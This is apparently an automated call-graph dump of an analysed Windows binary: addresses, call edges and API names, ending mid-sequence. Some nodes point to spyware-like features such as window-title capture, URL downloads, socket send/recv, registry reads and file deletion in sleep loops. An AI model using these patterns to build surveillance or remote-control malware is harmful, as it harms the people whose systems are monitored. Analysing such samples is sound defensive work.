53767->53768 53768->53707 53770 43bac5 _strftime 53769->53770 53862 43ae03 53770->53862 53772 415cb0 53772->53715 53772->53716 53773->53666 53775 404f65 53774->53775 53776 404fea 53774->53776 53777 404f6e 53775->53777 53778 404fc0 CreateEventA CreateThread 53775->53778 53779 404f7d GetLocalTime 53775->53779 53776->53656 53777->53778 53778->53776 53933 405150 53778->53933 53780 41bb8e 28 API calls 53779->53780 53781 404f91 53780->53781 53932 4052fd 28 API calls 53781->53932 53789->53666 53791 402163 53790->53791 53792 40219f 53791->53792 53937 402730 11 API calls 53791->53937 53792->53664 53794 402184 53938 402712 11 API calls std::_Deallocate 53794->53938 53797 404243 53796->53797 53798 4023ce 11 API calls 53797->53798 53799 40424e 53798->53799 53800 402569 28 API calls 53799->53800 53801 4041b5 53800->53801 53801->53650 53802->53744 53803->53747 53805 441e8d 53804->53805 53808 441c7d 53805->53808 53807 41bbb2 53807->53751 53809 441c94 53808->53809 53811 441ccb _strftime 53809->53811 53812 4405dd 20 API calls __dosmaperr 53809->53812 53811->53807 53812->53811 53814 41bab5 GetForegroundWindow GetWindowTextW 53813->53814 53815 40417e 53814->53815 53816 404186 53815->53816 53821 402252 53816->53821 53818 404191 53825 4041bc 53818->53825 53822 4022ac 53821->53822 53823 40225c 53821->53823 53822->53818 53823->53822 53829 402779 11 API calls std::_Deallocate 53823->53829 53826 4041c8 53825->53826 53830 4041d9 53826->53830 53828 40419c 53828->53759 53829->53822 53831 4041e9 53830->53831 53832 404206 53831->53832 53833 4041ef 53831->53833 53847 4027e6 53832->53847 53837 404267 53833->53837 53836 404204 53836->53828 53838 402888 22 API calls 53837->53838 53839 40427b 53838->53839 53840 404290 53839->53840 53841 4042a5 53839->53841 53858 4042df 22 API calls 53840->53858 53843 4027e6 28 API calls 53841->53843 53846 4042a3 53843->53846 53844 404299 53859 402c48 22 API calls 53844->53859 53846->53836 53848 4027ef 53847->53848 53849 402851 53848->53849 53850 4027f9 53848->53850 53861 4028a4 22 API calls 53849->53861 53853 402802 53850->53853 53855 402815 53850->53855 53860 402aea 28 API calls __EH_prolog 53853->53860 53856 402813 53855->53856 53857 402252 11 API calls 53855->53857 53856->53836 53857->53856 53858->53844 53859->53846 53860->53856 53878 43ba0a 53862->53878 53864 43ae50 53884 43a7b7 53864->53884 53866 43ae15 53866->53864 53867 43ae2a 53866->53867 53877 43ae2f _strftime 53866->53877 53883 4405dd 20 API calls __dosmaperr 53867->53883 53870 43ae5c 53871 43ae8b 53870->53871 53892 43ba4f 40 API calls __Tolower 53870->53892 53874 43aef7 53871->53874 53893 43b9b6 20 API calls 2 library calls 53871->53893 53894 43b9b6 20 API calls 2 library calls 53874->53894 53875 43afbe _strftime 53875->53877 53895 4405dd 20 API calls __dosmaperr 53875->53895 53877->53772 53879 43ba22 53878->53879 53880 43ba0f 53878->53880 53879->53866 53896 4405dd 20 API calls __dosmaperr 53880->53896 53882 43ba14 _strftime 53882->53866 53883->53877 53885 43a7d4 53884->53885 53886 43a7ca 53884->53886 53885->53886 53897 448215 GetLastError 53885->53897 53886->53870 53888 43a7f5 53918 448364 36 API calls __Getctype 53888->53918 53890 43a80e 53919 448391 36 API calls _strftime 53890->53919 53892->53870 53893->53874 53894->53875 53895->53877 53896->53882 53898 448237 53897->53898 53899 44822b 53897->53899 53921 445af3 20 API calls 3 library calls 53898->53921 53920 4487bc 11 API calls 2 library calls 53899->53920 53902 448231 53902->53898 53904 448280 SetLastError 53902->53904 53903 448243 53905 44824b 53903->53905 53928 448812 11 API calls 2 library calls 53903->53928 53904->53888 53922 446782 53905->53922 53908 448260 53908->53905 53909 448267 53908->53909 53929 448087 20 API calls __dosmaperr 53909->53929 53910 448251 53912 44828c SetLastError 53910->53912 53930 4460f4 36 API calls 4 library calls 53912->53930 53913 448272 53915 446782 _free 20 API calls 53913->53915 53917 448279 53915->53917 53916 448298 53917->53904 53917->53912 53918->53890 53919->53886 53920->53902 53921->53903 53923 44678d HeapFree 53922->53923 53927 4467b6 _free 53922->53927 53924 4467a2 53923->53924 53923->53927 53931 4405dd 20 API calls __dosmaperr 53924->53931 53926 4467a8 GetLastError 53926->53927 53927->53910 53928->53908 53929->53913 53930->53916 53931->53926 53936 40515c 102 API calls 53933->53936 53935 405159 53936->53935 53937->53794 53938->53792 53939->53627 53940->53632 53941->53634 53942 445847 53943 445852 53942->53943 53945 44587b 53943->53945 53946 445877 53943->53946 53948 448a84 53943->53948 53955 44589f DeleteCriticalSection 53945->53955 53956 4484ca 53948->53956 53951 448ab4 53963 434fcb 53951->53963 53952 448ac9 InitializeCriticalSectionAndSpinCount 53952->53951 53954 448ae0 53954->53943 53955->53946 53957 4484fa 53956->53957 53960 4484f6 53956->53960 53957->53951 53957->53952 53958 44851a 53958->53957 53961 448526 GetProcAddress 53958->53961 53960->53957 53960->53958 53970 448566 53960->53970 53962 448536 __crt_fast_encode_pointer 53961->53962 53962->53957 53964 434fd6 IsProcessorFeaturePresent 53963->53964 53965 434fd4 53963->53965 53967 435018 53964->53967 53965->53954 53977 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 53967->53977 53969 4350fb 53969->53954 53971 448587 LoadLibraryExW 53970->53971 53975 44857c 53970->53975 53972 4485a4 GetLastError 53971->53972 53976 4485bc 53971->53976 53973 4485af LoadLibraryExW 53972->53973 53972->53976 53973->53976 53974 4485d3 FreeLibrary 53974->53975 53975->53960 53976->53974 53976->53975 53977->53969 53978 434887 53979 434893 ___FrameUnwindToState 53978->53979 54005 434596 53979->54005 53981 43489a 53983 4348c3 53981->53983 54311 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 53981->54311 53988 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 53983->53988 54016 444251 53983->54016 53987 4348e2 ___FrameUnwindToState 53994 434962 53988->53994 54312 4433e7 36 API calls 5 library calls 53988->54312 54024 434b14 53994->54024 54006 43459f 54005->54006 54317 434c52 IsProcessorFeaturePresent 54006->54317 54008 4345ab 54318 438f31 54008->54318 54010 4345b0 54015 4345b4 54010->54015 54327 4440bf 54010->54327 54013 4345cb 54013->53981 54015->53981 54017 444268 54016->54017 54018 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54017->54018 54019 4348dc 54018->54019 54019->53987 54020 4441f5 54019->54020 54021 444224 54020->54021 54022 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54021->54022 54023 44424d 54022->54023 54023->53988 54025 436e90 ___scrt_get_show_window_mode 54024->54025 54026 434b27 GetStartupInfoW 54025->54026 54027 434968 54026->54027 54028 4441a2 54027->54028 54377 44f059 54028->54377 54030 4441ab 54031 434971 54030->54031 54381 446815 36 API calls 54030->54381 54033 40e9c5 54031->54033 54511 41cb50 LoadLibraryA GetProcAddress 54033->54511 54035 40e9e1 GetModuleFileNameW 54516 40f3c3 54035->54516 54037 40e9fd 54038 4020f6 28 API calls 54037->54038 54039 40ea0c 54038->54039 54040 4020f6 28 API calls 54039->54040 54041 40ea1b 54040->54041 54042 41be1b 28 API calls 54041->54042 54043 40ea24 54042->54043 54531 40fb17 54043->54531 54045 40ea2d 54046 401e8d 11 API calls 54045->54046 54047 40ea36 54046->54047 54048 40ea93 54047->54048 54049 40ea49 54047->54049 54050 401e65 22 API calls 54048->54050 54726 40fbb3 118 API calls 54049->54726 54052 40eaa3 54050->54052 54056 401e65 22 API calls 54052->54056 54053 40ea5b 54054 401e65 22 API calls 54053->54054 54055 40ea67 54054->54055 54727 410f37 36 API calls __EH_prolog 54055->54727 54057 40eac2 54056->54057 54059 40531e 28 API calls 54057->54059 54060 40ead1 54059->54060 54062 406383 28 API calls 54060->54062 54061 40ea79 54728 40fb64 78 API calls 54061->54728 54064 40eadd 54062->54064 54066 401fe2 28 API calls 54064->54066 54065 40ea82 54729 40f3b0 71 API calls 54065->54729 54068 40eae9 54066->54068 54069 401fd8 11 API calls 54068->54069 54070 40eaf2 54069->54070 54072 401fd8 11 API calls 54070->54072 54074 40eafb 54072->54074 54075 401e65 22 API calls 54074->54075 54076 40eb04 54075->54076 54077 401fc0 28 API calls 54076->54077 54078 40eb0f 54077->54078 54079 401e65 22 API calls 54078->54079 54080 40eb28 54079->54080 54081 401e65 22 API calls 54080->54081 54082 40eb43 54081->54082 54083 40ebae 54082->54083 54730 406c1e 54082->54730 54084 401e65 22 API calls 54083->54084 54090 40ebbb 54084->54090 54086 40eb70 54087 401fe2 28 API calls 54086->54087 54088 40eb7c 54087->54088 54091 401fd8 11 API calls 54088->54091 54089 40ec02 54535 40d069 54089->54535 54090->54089 54096 413549 3 API calls 54090->54096 54093 40eb85 54091->54093 54735 413549 RegOpenKeyExA 54093->54735 54102 40ebe6 54096->54102 54100 40f34f 54828 4139a9 30 API calls 54100->54828 54102->54089 54738 4139a9 30 API calls 54102->54738 54110 40f365 54829 412475 65 API calls ___scrt_get_show_window_mode 54110->54829 54311->53981 54312->53994 54317->54008 54319 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 54318->54319 54331 43a43a 54319->54331 54322 438f44 54322->54010 54324 438f4c 54325 438f57 54324->54325 54345 43a476 DeleteCriticalSection 54324->54345 54325->54010 54373 44fb68 54327->54373 54330 438f5a 8 API calls 3 library calls 54330->54015 54332 43a443 54331->54332 54334 43a46c 54332->54334 54335 438f40 54332->54335 54346 438e7f 54332->54346 54351 43a476 DeleteCriticalSection 54334->54351 54335->54322 54337 43a3ec 54335->54337 54366 438d94 54337->54366 54339 43a3f6 54340 43a401 54339->54340 54371 438e42 6 API calls try_get_function 54339->54371 54340->54324 54342 43a40f 54343 43a41c 54342->54343 54372 43a41f 6 API calls ___vcrt_FlsFree 54342->54372 54343->54324 54345->54322 54352 438c73 54346->54352 54349 438eb6 InitializeCriticalSectionAndSpinCount 54350 438ea2 54349->54350 54350->54332 54351->54335 54353 438ca3 54352->54353 54354 438ca7 54352->54354 54353->54354 54358 438cc7 54353->54358 54359 438d13 54353->54359 54354->54349 54354->54350 54356 438cd3 GetProcAddress 54357 438ce3 __crt_fast_encode_pointer 54356->54357 54357->54354 54358->54354 54358->54356 54360 438d3b LoadLibraryExW 54359->54360 54361 438d30 54359->54361 54362 438d57 GetLastError 54360->54362 54363 438d6f 54360->54363 54361->54353 54362->54363 54364 438d62 LoadLibraryExW 54362->54364 54363->54361 54365 438d86 FreeLibrary 54363->54365 54364->54363 54365->54361 54367 438c73 try_get_function 5 API calls 54366->54367 54368 438dae 54367->54368 54369 438dc6 TlsAlloc 54368->54369 54370 438db7 54368->54370 54370->54339 54371->54342 54372->54340 54374 44fb81 54373->54374 54375 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54374->54375 54376 4345bd 54375->54376 54376->54013 54376->54330 54378 44f06b 54377->54378 54379 44f062 54377->54379 54378->54030 54382 44ef58 54379->54382 54381->54030 54383 448215 FindHandler 36 API calls 54382->54383 54384 44ef65 54383->54384 54402 44f077 54384->54402 54386 44ef6d 54411 44ecec 54386->54411 54389 44ef84 54389->54378 54394 446782 _free 20 API calls 54394->54389 54395 44efc2 54435 4405dd 20 API calls __dosmaperr 54395->54435 54396 44efdf 54399 44f00b 54396->54399 54400 446782 _free 20 API calls 54396->54400 54398 44efc7 54398->54394 54399->54398 54436 44ebc2 20 API calls 54399->54436 54400->54399 54403 44f083 ___FrameUnwindToState 54402->54403 54404 448215 FindHandler 36 API calls 54403->54404 54408 44f08d 54404->54408 54406 44f111 ___FrameUnwindToState 54406->54386 54408->54406 54410 446782 _free 20 API calls 54408->54410 54437 4460f4 36 API calls 4 library calls 54408->54437 54438 445888 EnterCriticalSection 54408->54438 54439 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 54408->54439 54410->54408 54412 43a7b7 _strftime 36 API calls 54411->54412 54413 44ecfe 54412->54413 54414 44ed0d GetOEMCP 54413->54414 54415 44ed1f 54413->54415 54416 44ed36 54414->54416 54415->54416 54417 44ed24 GetACP 54415->54417 54416->54389 54418 446137 54416->54418 54417->54416 54419 446175 54418->54419 54423 446145 ___crtLCMapStringA 54418->54423 54441 4405dd 20 API calls __dosmaperr 54419->54441 54420 446160 RtlAllocateHeap 54422 446173 54420->54422 54420->54423 54422->54398 54425 44f119 54422->54425 54423->54419 54423->54420 54440 442f80 7 API calls 2 library calls 54423->54440 54426 44ecec 38 API calls 54425->54426 54427 44f138 54426->54427 54429 44f189 IsValidCodePage 54427->54429 54432 44f13f 54427->54432 54434 44f1ae ___scrt_get_show_window_mode 54427->54434 54428 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54430 44efba 54428->54430 54431 44f19b GetCPInfo 54429->54431 54429->54432 54430->54395 54430->54396 54431->54432 54431->54434 54432->54428 54442 44edc4 GetCPInfo 54434->54442 54435->54398 54436->54398 54437->54408 54438->54408 54439->54408 54440->54423 54441->54422 54443 44eea8 54442->54443 54444 44edfe 54442->54444 54447 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54443->54447 54452 45112c 54444->54452 54449 44ef54 54447->54449 54449->54432 54451 44ae66 _swprintf 41 API calls 54451->54443 54453 43a7b7 _strftime 36 API calls 54452->54453 54454 45114c MultiByteToWideChar 54453->54454 54456 451222 54454->54456 54457 45118a 54454->54457 54458 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54456->54458 54459 446137 ___crtLCMapStringA 21 API calls 54457->54459 54463 4511ab __alloca_probe_16 ___scrt_get_show_window_mode 54457->54463 54460 44ee5f 54458->54460 54459->54463 54466 44ae66 54460->54466 54461 45121c 54471 435e40 20 API calls _free 54461->54471 54463->54461 54464 4511f0 MultiByteToWideChar 54463->54464 54464->54461 54465 45120c GetStringTypeW 54464->54465 54465->54461 54467 43a7b7 _strftime 36 API calls 54466->54467 54468 44ae79 54467->54468 54472 44ac49 54468->54472 54471->54456 54473 44ac64 ___crtLCMapStringA 54472->54473 54474 44ac8a MultiByteToWideChar 54473->54474 54475 44acb4 54474->54475 54485 44ae3e 54474->54485 54478 446137 ___crtLCMapStringA 21 API calls 54475->54478 54482 44acd5 __alloca_probe_16 54475->54482 54476 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54477 44ae51 54476->54477 54477->54451 54478->54482 54479 44ad8a 54508 435e40 20 API calls _free 54479->54508 54480 44ad1e MultiByteToWideChar 54480->54479 54481 44ad37 54480->54481 54499 448bb3 54481->54499 54482->54479 54482->54480 54485->54476 54487 44ad61 54487->54479 54489 448bb3 _strftime 11 API calls 54487->54489 54488 44ad99 54491 446137 ___crtLCMapStringA 21 API calls 54488->54491 54494 44adba __alloca_probe_16 54488->54494 54489->54479 54490 44ae2f 54507 435e40 20 API calls _free 54490->54507 54491->54494 54492 448bb3 _strftime 11 API calls 54495 44ae0e 54492->54495 54494->54490 54494->54492 54495->54490 54496 44ae1d WideCharToMultiByte 54495->54496 54496->54490 54497 44ae5d 54496->54497 54509 435e40 20 API calls _free 54497->54509 54500 4484ca __dosmaperr 5 API calls 54499->54500 54501 448bda 54500->54501 54503 448be3 54501->54503 54510 448c3b 10 API calls 3 library calls 54501->54510 54505 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 54503->54505 54504 448c23 LCMapStringW 54504->54503 54506 448c35 54505->54506 54506->54479 54506->54487 54506->54488 54507->54479 54508->54485 54509->54479 54510->54504 54512 41cb8f LoadLibraryA GetProcAddress 54511->54512 54513 41cb7f GetModuleHandleA GetProcAddress 54511->54513 54514 41cbb8 44 API calls 54512->54514 54515 41cba8 LoadLibraryA GetProcAddress 54512->54515 54513->54512 54514->54035 54515->54514 54830 41b4a8 FindResourceA 54516->54830 54519 43bd51 new 21 API calls 54520 40f3ed _Yarn 54519->54520 54521 4020b7 28 API calls 54520->54521 54522 40f408 54521->54522 54523 401fe2 28 API calls 54522->54523 54524 40f413 54523->54524 54525 401fd8 11 API calls 54524->54525 54526 40f41c 54525->54526 54527 43bd51 new 21 API calls 54526->54527 54528 40f42d _Yarn 54527->54528 54833 406dd8 54528->54833 54530 40f460 54530->54037 54532 40fb23 54531->54532 54534 40fb2a 54531->54534 54836 402163 11 API calls 54532->54836 54534->54045 54837 401fab 54535->54837 54726->54053 54727->54061 54728->54065 54731 4020df 11 API calls 54730->54731 54732 406c2a 54731->54732 54733 4032a0 28 API calls 54732->54733 54734 406c47 54733->54734 54734->54086 54736 40eba4 54735->54736 54737 413573 RegQueryValueExA RegCloseKey 54735->54737 54736->54083 54736->54100 54737->54736 54738->54089 54828->54110 54831 41b4c5 LoadResource LockResource SizeofResource 54830->54831 54832 40f3de 54830->54832 54831->54832 54832->54519 54834 4020b7 28 API calls 54833->54834 54835 406dec 54834->54835 54835->54530 54836->54534 55342 4269e6 55343 4269fb 55342->55343 55349 426a8d 55342->55349 55344 426a48 55343->55344 55345 426b44 55343->55345 55346 426abd 55343->55346 55347 426b1d 55343->55347 55343->55349 55353 426af2 55343->55353 55355 426a7d 55343->55355 55370 424edd 49 API calls _Yarn 55343->55370 55344->55349 55344->55355 55371 41fb6c 52 API calls 55344->55371 55345->55349 55375 426155 28 API calls 55345->55375 55346->55349 55346->55353 55373 41fb6c 52 API calls 55346->55373 55347->55345 55347->55349 55358 425ae1 55347->55358 55353->55347 55374 4256f0 21 API calls 55353->55374 55355->55346 55355->55349 55372 424edd 49 API calls _Yarn 55355->55372 55359 425b00 ___scrt_get_show_window_mode 55358->55359 55361 425b0f 55359->55361 55365 425b34 55359->55365 55376 41ebbb 21 API calls 55359->55376 55361->55365 55369 425b14 55361->55369 55377 4205d8 46 API calls 55361->55377 55364 425b1d 55364->55365 55380 424d05 21 API calls 2 library calls 55364->55380 55365->55345 55367 425bb7 55367->55365 55378 432ec4 21 API calls new 55367->55378 55369->55364 55369->55365 55379 41da5f 49 API calls 55369->55379 55370->55344 55371->55344 55372->55346 55373->55346 55374->55347 55375->55349 55376->55361 55377->55367 55378->55369 55379->55364 55380->55365 55381 415d06 55396 41b380 55381->55396 55383 415d0f 55384 4020f6 28 API calls 55383->55384 55385 415d1e 55384->55385 55386 404aa1 61 API calls 55385->55386 55387 415d2a 55386->55387 55388 417089 55387->55388 55389 401fd8 11 API calls 55387->55389 55390 401e8d 11 API calls 55388->55390 55389->55388 55391 417092 55390->55391 55392 401fd8 11 API calls 55391->55392 55393 41709e 55392->55393 55394 401fd8 11 API calls 55393->55394 55395 4170aa 55394->55395 55397 4020df 11 API calls 55396->55397 55398 41b38e 55397->55398 55399 43bd51 new 21 API calls 55398->55399 55400 41b39e InternetOpenW InternetOpenUrlW 55399->55400 55401 41b3c5 InternetReadFile 55400->55401 55404 41b3e8 55401->55404 55402 4020b7 28 API calls 55402->55404 55403 41b415 InternetCloseHandle InternetCloseHandle 55405 41b427 55403->55405 55404->55401 55404->55402 55404->55403 55406 401fd8 11 API calls 55404->55406 55405->55383 55406->55404 55407 1000c7a7 55408 1000c7be 55407->55408 55413 1000c82c 55407->55413 55408->55413 55417 1000c7e6 GetModuleHandleA 55408->55417 55409 1000c872 55410 1000c835 GetModuleHandleA 55412 1000c83f 55410->55412 55412->55412 55412->55413 55413->55409 55413->55410 55418 1000c7ef 55417->55418 55424 1000c82c 55417->55424 55427 1000c803 55418->55427 55420 1000c872 55421 1000c835 GetModuleHandleA 55422 1000c83f 55421->55422 55422->55422 55422->55424 55424->55420 55424->55421 55428 1000c809 55427->55428 55429 1000c82c 55428->55429 55430 1000c80d VirtualProtect 55428->55430 55432 1000c872 55429->55432 55433 1000c835 GetModuleHandleA 55429->55433 55430->55429 55431 1000c81c VirtualProtect 55430->55431 55431->55429 55434 1000c83f 55433->55434 55434->55429 55435 426c4b 55440 426cc8 send 55435->55440 55441 42f8ed 55442 42f8f8 55441->55442 55444 42f90c 55442->55444 55445 432eee 55442->55445 55444->55444 55446 432ef9 55445->55446 55447 432efd 55445->55447 55446->55444 55449 440f0d 55447->55449 55450 446185 55449->55450 55451 446192 55450->55451 55452 44619d 55450->55452 55453 446137 ___crtLCMapStringA 21 API calls 55451->55453 55454 4461a5 55452->55454 55460 4461ae ___crtLCMapStringA 55452->55460 55459 44619a 55453->55459 55457 446782 _free 20 API calls 55454->55457 55455 4461b3 55462 4405dd 20 API calls __dosmaperr 55455->55462 55456 4461d8 RtlReAllocateHeap 55456->55459 55456->55460 55457->55459 55459->55446 55460->55455 55460->55456 55463 442f80 7 API calls 2 library calls 55460->55463 55462->55459 55463->55460 55464 434875 55469 434b47 SetUnhandledExceptionFilter 55464->55469 55466 43487a pre_c_initialization 55470 44554b 20 API calls 2 library calls 55466->55470 55468 434885 55469->55466 55470->55468 55471 44831e 55479 448710 55471->55479 55474 448332 55476 44833a 55477 448347 55476->55477 55487 44834a 11 API calls 55476->55487 55480 4484ca __dosmaperr 5 API calls 55479->55480 55481 448737 55480->55481 55482 44874f TlsAlloc 55481->55482 55483 448740 55481->55483 55482->55483 55484 434fcb __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 55483->55484 55485 448328 55484->55485 55485->55474 55486 448299 20 API calls 3 library calls 55485->55486 55486->55476 55487->55474 55488 43be58 55491 43be64 _swprintf ___FrameUnwindToState 55488->55491 55489 43be72 55504 4405dd 20 API calls __dosmaperr 55489->55504 55491->55489 55492 43be9c 55491->55492 55499 445888 EnterCriticalSection 55492->55499 55494 43be77 _strftime ___FrameUnwindToState 55495 43bea7 55500 43bf48 55495->55500 55499->55495 55502 43bf56 55500->55502 55501 43beb2 55505 43becf LeaveCriticalSection std::_Lockit::~_Lockit 55501->55505 55502->55501 55506 44976c 37 API calls 2 library calls 55502->55506 55504->55494 55505->55494 55506->55502 55507 100020db 55510 100020e7 ___scrt_is_nonwritable_in_current_image 55507->55510 55508 100020f6 55509 10002110 dllmain_raw 55509->55508 55511 1000212a 55509->55511 55510->55508 55510->55509 55513 1000210b 55510->55513 55520 10001eec 55511->55520 55513->55508 55514 10002177 55513->55514 55518 10001eec 29 API calls 55513->55518 55514->55508 55515 10001eec 29 API calls 55514->55515 55516 1000218a 55515->55516 55516->55508 55517 10002193 dllmain_raw 55516->55517 55517->55508 55519 1000216d dllmain_raw 55518->55519 55519->55514 55521 10001ef7 55520->55521 55522 10001f2a dllmain_crt_process_detach 55520->55522 55523 10001f1c dllmain_crt_process_attach 55521->55523 55524 10001efc 55521->55524 55529 10001f06 55522->55529 55523->55529 55525 10001f01 55524->55525 55526 10001f12 55524->55526 55525->55529 55530 1000240b 25 API calls 55525->55530 55531 100023ec 27 API calls 55526->55531 55529->55513 55530->55529 55531->55529 55532 41dfbd 55533 41dfd2 _Yarn ___scrt_get_show_window_mode 55532->55533 55534 41e1d5 55533->55534 55551 432ec4 21 API calls new 55533->55551 55538 41e189 55534->55538 55546 41db62 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 55534->55546 55537 41e1e6 55537->55538 55547 432ec4 21 API calls new 55537->55547 55540 41e182 ___scrt_get_show_window_mode 55540->55538 55552 432ec4 21 API calls new 55540->55552 55542 41e21f ___scrt_get_show_window_mode 55542->55538 55548 43354a 55542->55548 55543 41e1af ___scrt_get_show_window_mode 55543->55538 55553 432ec4 21 API calls new 55543->55553 55546->55537 55547->55542 55554 433469 55548->55554 55550 433552 55550->55538 55551->55540 55552->55543 55553->55534 55555 433482 55554->55555 55559 433478 55554->55559 55555->55559 55560 432ec4 21 API calls new 55555->55560 55557 4334a3 55557->55559 55561 433837 CryptAcquireContextA 55557->55561 55559->55550 55560->55557 55562 433853 55561->55562 55563 433858 CryptGenRandom 55561->55563 55562->55559 55563->55562 55564 43386d CryptReleaseContext 55563->55564 55564->55562 55565 40165e 55566 401666 55565->55566 55567 401669 55565->55567 55568 4016a8 55567->55568 55570 401696 55567->55570 55569 4344ea new 22 API calls 55568->55569 55572 40169c 55569->55572 55571 4344ea new 22 API calls 55570->55571 55571->55572 55573 426bdc 55579 426cb1 recv 55573->55579 55580 41299f 55581 4129b1 55580->55581 55582 4041a2 28 API calls 55581->55582 55583 4129c4 55582->55583 55584 4020f6 28 API calls 55583->55584 55585 4129d3 55584->55585 55586 4020f6 28 API calls 55585->55586 55587 4129e2 55586->55587 55588 41be1b 28 API calls 55587->55588 55590 4129eb 55588->55590 55589 412a93 55592 401e8d 11 API calls 55589->55592 55590->55589 55591 401e65 22 API calls 55590->55591 55594 412a02 55591->55594 55593 412a9c 55592->55593 55595 401fd8 11 API calls 55593->55595 55596 4020f6 28 API calls 55594->55596 55597 412aa5 55595->55597 55598 412a0d 55596->55598 55599 401fd8 11 API calls 55597->55599 55600 401e65 22 API calls 55598->55600 55601 412aad 55599->55601 55602 412a18 55600->55602 55603 4020f6 28 API calls 55602->55603 55604 412a23 55603->55604 55605 401e65 22 API calls 55604->55605 55606 412a2e 55605->55606 55607 4020f6 28 API calls 55606->55607 55608 412a39 55607->55608 55609 401e65 22 API calls 55608->55609 55610 412a44 55609->55610 55611 4020f6 28 API calls 55610->55611 55612 412a4f 55611->55612 55613 401e65 22 API calls 55612->55613 55614 412a5a 55613->55614 55615 4020f6 28 API calls 55614->55615 55616 412a65 55615->55616 55617 401e65 22 API calls 55616->55617 55618 412a73 55617->55618 55619 4020f6 28 API calls 55618->55619 55620 412a7e 55619->55620 55624 412ab4 GetModuleFileNameW 55620->55624 55623 404e26 99 API calls 55623->55589 55625 4020df 11 API calls 55624->55625 55626 412adf 55625->55626 55627 4020df 11 API calls 55626->55627 55628 412aeb 55627->55628 55629 4020df 11 API calls 55628->55629 55652 412af7 55629->55652 55630 41b978 43 API calls 55630->55652 55631 40d9e8 32 API calls 55631->55652 55632 401fd8 11 API calls 55632->55652 55633 40417e 28 API calls 55633->55652 55634 4042fc 84 API calls 55634->55652 55635 40431d 28 API calls 55635->55652 55636 412c1d Sleep 55636->55652 55637 403014 28 API calls 55637->55652 55638 418568 31 API calls 55638->55652 55639 412cbf Sleep 55639->55652 55640 401f09 11 API calls 55640->55652 55641 412d61 Sleep 55641->55652 55642 412dc4 DeleteFileW 55642->55652 55643 41c485 32 API calls 55643->55652 55644 412dfb DeleteFileW 55644->55652 55645 412e26 55647 412e37 DeleteFileW 55645->55647 55645->55652 55661 401f09 11 API calls 55645->55661 55664 412ec4 55645->55664 55646 412e4d Sleep 55646->55652 55647->55652 55648 412ec6 55649 401f09 11 API calls 55648->55649 55650 412ed2 55649->55650 55651 401f09 11 API calls 55650->55651 55653 412ede 55651->55653 55652->55630 55652->55631 55652->55632 55652->55633 55652->55634 55652->55635 55652->55636 55652->55637 55652->55638 55652->55639 55652->55640 55652->55641 55652->55642 55652->55643 55652->55644 55652->55645 55652->55646 55652->55648 55655 412e92 Sleep 55652->55655 55654 401f09 11 API calls 55653->55654 55656 412eea 55654->55656 55657 401f09 11 API calls 55655->55657 55658 40b904 28 API calls 55656->55658 55657->55645 55659 412efd 55658->55659 55660 4020f6 28 API calls 55659->55660 55662 412f1d 55660->55662 55661->55645 55771 41322d 55662->55771 55664->55656 55666 401f09 11 API calls 55667 412f34 55666->55667 55668 412f54 55667->55668 55669 4130a8 55667->55669 55671 41bd1e 28 API calls 55668->55671 55670 41bd1e 28 API calls 55669->55670 55672 4130b1 55670->55672 55673 412f60 55671->55673 55674 402f31 28 API calls 55672->55674 55675 41bb8e 28 API calls 55673->55675 55676 4130e8 55674->55676 55677 412f7a 55675->55677 55679 402f10 28 API calls 55676->55679 55678 402f31 28 API calls 55677->55678 55681 412faa 55678->55681 55680 4130f7 55679->55680 55682 402f10 28 API calls 55680->55682 55683 402f10 28 API calls 55681->55683 55684 413103 55682->55684 55685 412fb9 55683->55685 55686 402f10 28 API calls 55684->55686 55687 402f10 28 API calls 55685->55687 55688 413112 55686->55688 55689 412fc8 55687->55689 55690 402f10 28 API calls 55688->55690 55691 402f10 28 API calls 55689->55691 55692 413121 55690->55692 55693 412fd7 55691->55693 55694 402f10 28 API calls 55692->55694 55695 402f10 28 API calls 55693->55695 55696 413130 55694->55696 55697 412fe6 55695->55697 55698 402f10 28 API calls 55696->55698 55699 402f10 28 API calls 55697->55699 55700 41313f 55698->55700 55701 412ff2 55699->55701 55785 402ea1 28 API calls 55700->55785 55703 402f10 28 API calls 55701->55703 55705 412ffe 55703->55705 55704 413149 55706 404aa1 61 API calls 55704->55706 55783 402ea1 28 API calls 55705->55783 55708 413156 55706->55708 55711 401fd8 11 API calls 55708->55711 55709 41300d 55710 402f10 28 API calls 55709->55710 55713 413019 55710->55713 55712 413162 55711->55712 55714 401fd8 11 API calls 55712->55714 55784 402ea1 28 API calls 55713->55784 55716 41316e 55714->55716 55718 401fd8 11 API calls 55716->55718 55717 413023 55719 404aa1 61 API calls 55717->55719 55720 41317a 55718->55720 55721 413030 55719->55721 55722 401fd8 11 API calls 55720->55722 55723 401fd8 11 API calls 55721->55723 55724 413186 55722->55724 55725 413039 55723->55725 55726 401fd8 11 API calls 55724->55726 55727 401fd8 11 API calls 55725->55727 55728 41318f 55726->55728 55729 413042 55727->55729 55730 401fd8 11 API calls 55728->55730 55731 401fd8 11 API calls 55729->55731 55732 413198 55730->55732 55733 41304b 55731->55733 55734 401fd8 11 API calls 55732->55734 55735 401fd8 11 API calls 55733->55735 55736 41309c 55734->55736 55737 413054 55735->55737 55739 401fd8 11 API calls 55736->55739 55738 401fd8 11 API calls 55737->55738 55740 413060 55738->55740 55742 4131aa 55739->55742 55741 401fd8 11 API calls 55740->55741 55744 41306c 55741->55744 55743 401f09 11 API calls 55742->55743 55745 4131b6 55743->55745 55746 401fd8 